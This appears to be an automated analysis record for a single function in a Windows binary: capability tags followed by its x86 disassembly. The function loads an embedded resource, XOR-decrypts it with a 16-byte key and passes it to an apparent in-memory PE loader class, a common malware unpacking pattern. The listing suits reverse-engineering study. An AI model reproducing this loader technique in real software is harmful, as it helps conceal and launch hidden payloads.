Function at 0x4069d0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41211d
mov eax, dword fs:[0]
push eax
mov eax, 0x10c8
call fcn.0040a110
mov eax, dword [0x41a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
xor esi, esi
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], esi
xorps xmm2, xmm2
movsd qword [ebp - 0x10a4], xmm0
nop dword [eax]
movsd qword [ebp - 0x109c], xmm2
call fcn.0040cd80
movsd qword [ebp - 0x10b4], xmm0
movsd xmm0, qword [ebp - 0x10a4]
call fcn.0040cbc0
movsd qword [ebp - 0x10bc], xmm0
movsd xmm0, qword [ebp - 0x109c]
call fcn.0040cbc0
movsd qword [ebp - 0x10ac], xmm0
movsd xmm0, qword [ebp - 0x109c]
call fcn.0040cd80
mulsd xmm0, qword [ebp - 0x10b4]
movsd qword [ebp - 0x10c4], xmm0
movsd qword [ebp - 0x10cc], xmm0
movsd xmm0, qword [ebp - 0x109c]
call fcn.0040cd80
mulsd xmm0, qword [ebp - 0x10bc]
movsd qword [ebp - 0x10d4], xmm0
cmp esi, dword [ebp - 0x24]
je 0x406adf
movsd qword [esi], xmm0
movsd xmm0, qword [ebp - 0x10c4]
movsd qword [esi + 8], xmm0
movsd xmm0, qword [ebp - 0x10ac]
movsd qword [esi + 0x10], xmm0
mov esi, dword [ebp - 0x28]
add esi, 0x18
mov dword [ebp - 0x28], esi
jmp 0x406b00
lea eax, [ebp - 0x10ac]
push eax
lea eax, [ebp - 0x10cc]
push eax
lea eax, [ebp - 0x10d4]
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401cf0
mov esi, dword [ebp - 0x28]
movsd xmm0, qword [ebp - 0x109c]
movsd xmm1, qword [0x4144e8]
movsd xmm2, qword [0x4144f0]
addsd xmm0, xmm1
comisd xmm2, xmm0
movsd qword [ebp - 0x109c], xmm0
ja 0x406a62
movsd xmm0, qword [ebp - 0x10a4]
xorps xmm2, xmm2
addsd xmm0, xmm1
movsd xmm1, qword [0x4144f8]
comisd xmm1, xmm0
movsd qword [ebp - 0x10a4], xmm0
ja 0x406a30
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x406ba9
mov ecx, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x406b9f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406dd3
push ecx
push esi
call fcn.00409ccf
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x1091]
mov dword [ebp - 4], 1
push eax
push 0x400
lea ecx, [ebp - 0x1c]
call fcn.004024f0
call fcn.00403e50
push 0xa
push 2
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov dword [ebp - 0x1098], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov edx, dword [ebp - 0x1c]
sub ecx, edx
cmp edi, ecx
jae 0x406c29
lea ecx, [edi + edx]
mov dword [ebp - 0x18], ecx
jmp 0x406c62
jbe 0x406c62
mov eax, dword [ebp - 0x14]
sub eax, edx
cmp edi, eax
jbe 0x406c46
lea eax, [ebp - 0x1091]
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.004024f0
jmp 0x406c5f
mov eax, edi
sub eax, ecx
mov ecx, dword [ebp - 0x18]
push eax
push 0
push ecx
lea esi, [ecx + eax]
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x1c]
push edi
push dword [ebp - 0x1098]
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
call fcn.00403e50
movaps xmm0, xmmword [0x414560]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x20], 0x56
nop word [eax + eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x10
jb 0x406c90
xorps xmm0, xmm0
mov byte [ebp - 0x1f], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406cc0
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.004017c0
cmp dword [ebp - 0x34], 0xf
lea eax, [ebp - 0x48]
push dword [ebp - 0x38]
cmova eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x1090]
push eax
mov byte [ebp - 4], 2
call fcn.00401250
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
sub eax, ecx
push eax
push ecx
push ecx
lea ecx, [ebp - 0x1090]
call fcn.004010e0
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x406d42
call fcn.00403e50
push 4
call fcn.00409c9f
mov esi, eax
add esp, 4
test esi, esi
je 0x406d2e
mov dword [esi], vtable.ClaasLdrPe.0
jmp 0x406d30
xor esi, esi
call fcn.00403e50
mov eax, dword [esi]
mov ecx, esi
push dword [ebp - 0x1c]
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp eax, 0xf
jbe 0x406d77
mov edx, dword [ebp - 0x48]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x406d6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406dd8
push ecx
push edx
call fcn.00409ccf
mov ecx, dword [ebp - 0x1c]
add esp, 8
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
test ecx, ecx
je 0x406db6
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x406dac
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406dd8
push edx
push ecx
call fcn.00409ccf
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409f2d
mov esp, ebp
pop ebp
ret
call fcn.0040b110
call fcn.0040b110
int3